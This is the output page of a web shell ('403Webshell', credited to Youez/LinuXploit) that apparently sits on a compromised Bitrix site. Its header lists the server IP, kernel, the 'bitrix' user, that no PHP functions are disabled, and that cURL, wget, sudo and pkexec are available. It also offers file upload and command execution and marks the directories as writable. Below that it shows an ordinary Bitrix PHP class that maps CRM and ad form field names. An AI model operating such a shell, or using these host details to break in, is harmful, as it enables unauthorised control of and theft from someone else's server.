403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/seo/lib/leadads/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/seo/lib/leadads/mapper.php
<?php

namespace Bitrix\Seo\LeadAds;

use Bitrix\Main\ArgumentNullException;

/**
 * Class Mapper.
 * Form fields Mapper from crm to ads, ads to crm.
 *
 * @package Bitrix\Seo\LeadAds
 */
class Mapper
{
	protected $map = [];

	/**
	 * @throws ArgumentNullException
	 */
	public function __construct(array $items = [])
	{
		$this->setItems($items);
	}

	/**
	 * Get crm name.
	 *
	 * @param string $adsName Ads name.
	 *
	 * @return string|null
	 */
	public function getCrmName($adsName)
	{
		$item = $this->getMapItem(null, $adsName);
		return empty($item) ? null : $item['CRM_NAME'];
	}

	/**
	 * Get ads name.
	 *
	 * @param string $crmName Crm name.
	 *
	 * @return string|null
	 */
	public function getAdsName($crmName)
	{
		$item = $this->getMapItem($crmName, null);
		return empty($item) ? null : $item['ADS_NAME'];
	}

	/**
	 * Set map items.
	 *
	 * @param array $items Map items.
	 * @return $this
	 * @throws ArgumentNullException
	 */
	public function setItems(array $items = [])
	{
		$this->map = [];
		foreach ($items as $item)
		{
			if (empty($item['CRM_NAME']))
			{
				throw new ArgumentNullException('CRM_NAME');
			}
			if (empty($item['ADS_NAME']))
			{
				throw new ArgumentNullException('ADS_NAME');
			}

			$this->addItem($item['CRM_NAME'], $item['ADS_NAME']);
		}

		return $this;
	}

	/**
	 * Add map item
	 *
	 * @param string $crmName Crm name.
	 * @param string $adsName Ads name.
	 *
	 * @return $this
	 * @throws ArgumentNullException
	 */
	public function addItem($crmName, string $adsName)
	{
		if (empty($crmName))
		{
			throw new ArgumentNullException('$crmName');
		}
		if (empty($adsName))
		{
			throw new ArgumentNullException('$adsName');
		}

		$this->map[] = [
			'CRM_NAME' => $crmName,
			'ADS_NAME' => $adsName,
		];

		return $this;
	}

	protected function getMapItem($crmName = null, $adsName = null)
	{
		if (empty($crmName) && empty($adsName))
		{
			return null;
		}

		foreach ($this->map as $item)
		{
			if ($crmName && $item['CRM_NAME'] === $crmName)
			{
				return $item;
			}

			if ($adsName && $item['ADS_NAME'] === $adsName)
			{
				return $item;
			}
		}

		return null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit